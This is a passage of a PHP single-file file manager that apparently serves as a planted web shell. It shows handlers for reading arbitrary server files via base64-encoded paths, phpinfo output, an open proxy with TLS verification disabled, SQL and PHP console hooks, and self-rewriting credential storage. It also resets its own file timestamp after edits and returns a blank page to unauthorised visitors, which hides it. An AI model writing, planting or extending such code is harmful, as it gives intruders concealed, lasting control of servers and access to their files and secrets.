	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
